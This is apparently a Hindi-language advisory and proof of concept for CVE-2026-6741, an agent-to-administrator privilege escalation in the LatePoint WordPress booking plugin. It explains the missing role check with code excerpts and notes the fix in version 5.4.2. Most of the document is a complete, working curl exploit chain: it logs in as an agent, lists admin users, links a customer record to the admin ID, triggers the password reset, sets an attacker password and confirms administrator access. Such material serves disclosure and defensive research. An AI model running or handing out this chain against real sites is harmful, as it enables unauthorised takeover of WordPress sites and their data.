
CVE-2026-6741 LatePoint – Calendar Booking प्लगइन में CVSS 8.8 (उच्च) प्रमाणित (एजेंट+) विशेषाधिकार वृद्धि कमजोरी है
CVE-2026-6741, CVSS 8.8 (उच्च) स्तर की एक प्रमाणित (एजेंट+) विशेषाधिकार वृद्धि (प्रिविलेज एस्केलेशन) भेद्यता है, जो LatePoint – कैलेंडर बुकिंग प्लगइन में पाई गई है।
प्लगइन: LatePoint – कैलेंडर बुकिंग प्लगइन फॉर अपॉइंटमेंट्स एंड इवेंट्स (
latepoint) CVE ID: CVE-2026-6741 CVSS स्कोर: 8.8 (उच्च) CVSS वेक्टर:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hभेद्यता प्रकार: प्रमाणित (एजेंट+) विशेषाधिकार वृद्धि → एडमिनिस्ट्रेटर अधिग्रहण प्रभावित संस्करण: <= 5.4.1 पैचयुक्त संस्करण: 5.4.2 प्रकाशन तिथि: 27 अप्रैल 2026 शोधकर्ता: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence
latepoint_agent भूमिका वाला एक प्रमाणित हमलावर,
किसी भी LatePoint ग्राहक रिकॉर्ड को WordPress व्यवस्थापक खाते से
जोड़ सकता है और फिर LatePoint के स्वयं के पासवर्ड रीसेट प्रवाह का उपयोग करके
व्यवस्थापक का पासवर्ड बदल सकता है।
इसका परिणाम पूर्ण साइट अधिग्रहण होता है।
| क्षेत्र | मान |
|---|---|
| प्लगइन नाम | LatePoint – कैलेंडर बुकिंग प्लगइन |
| प्लगइन स्लग | latepoint |
| CVE ID | CVE-2026-6741 |
| CVSS स्कोर | 8.8 (उच्च) |
| भेद्यता प्रकार | प्रमाणित (एजेंट+) विशेषाधिकार वृद्धि |
| प्रभावित संस्करण | <= 5.4.1 |
| पैचयुक्त संस्करण | 5.4.2 |
| आवश्यकता | latepoint_agent भूमिका, WordPress 6.9+ |
LatePoint 5.3.0 ने WordPress 6.9+ के साथ आने वाले Abilities API समर्थन को जोड़ा। यह API प्लगइन्स को REST API पर कॉल करने योग्य "ability" वर्गों को पंजीकृत करने की अनुमति देता है:
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← एकमात्र नियंत्रण: यह क्षमता
}
एजेंट भूमिका में डिफ़ॉल्ट रूप से customer__edit क्षमता होती है:
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← एजेंट के पास यह क्षमता है
...
];
}
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// केवल उपयोगकर्ता के अस्तित्व की जाँच की जा रही है
// लापता: लक्ष्य उपयोगकर्ता की भूमिका की जाँच नहीं की गई
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← किसी भी WP उपयोगकर्ता से जोड़ें
$customer->save();
return $this->serialize_customer( ... );
}
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ wordpress_user_id अब व्यवस्थापक आईडी है → व्यवस्थापक का पासवर्ड बदल जाता है
}
}
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// केवल कॉल करने वाले की क्षमता की जाँच करता है
// लक्ष्य उपयोगकर्ता की भूमिका की जाँच नहीं करता
}
latepoint_agent खाता
│
▼
1. एजेंट के रूप में WP में लॉगिन करें → REST nonce प्राप्त करें
│
▼
2. लक्ष्य व्यवस्थापक WordPress उपयोगकर्ता आईडी पता करें
(wp-json/wp/v2/users या ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ भूमिका जांच नहीं → सफल
│
▼
4. LatePoint forgot_password → ग्राहक ईमेल पर रीसेट टोकन भेजें
│
▼
5. टोकन के साथ change_password → update_password() कॉल होता है
→ wp_set_password("Hacked!", 1)
→ व्यवस्थापक पासवर्ड बदल गया
│
▼
6. नए पासवर्ड से व्यवस्थापक के रूप में लॉगिन → पूर्ण साइट नियंत्रण ✓
⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
पूर्व शर्तें:
latepoint_agent भूमिका वाला खाताWP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# कुकी-आधारित सत्र खोलें
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# REST nonce प्राप्त करें
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
# REST API से व्यवस्थापक उपयोगकर्ताओं की सूची प्राप्त करें
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # सामान्यतः ID=1
CUSTOMER_ID=5 # आपके नियंत्रण वाली LatePoint ग्राहक आईडी
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
अपेक्षित प्रतिक्रिया:
{
"id": 5,
"wp_user_id": 1,
"email": "[email protected]"
}
CUSTOMER_EMAIL="[email protected]"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint, $CUSTOMER_EMAIL पते पर account_nonce टोकन युक्त
एक रीसेट ईमेल भेजता है।
RESET_TOKEN="<ईमेल से प्राप्त टोकन>"
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
यह कॉल update_password() → wp_set_password($NEW_PASSWORD, 1) श्रृंखला को
सक्रिय करता है। व्यवस्थापक पासवर्ड बदल गया।
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# wp-admin तक पहुंच
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# अपेक्षित: 200 OK (wp-login.php पर रीडायरेक्ट नहीं)
# REST API से भूमिका सत्यापन
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
curl -s "$WP_URL/wp-json/wp/v2/users/me" \
-H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# अपेक्षित: "roles": ["administrator"]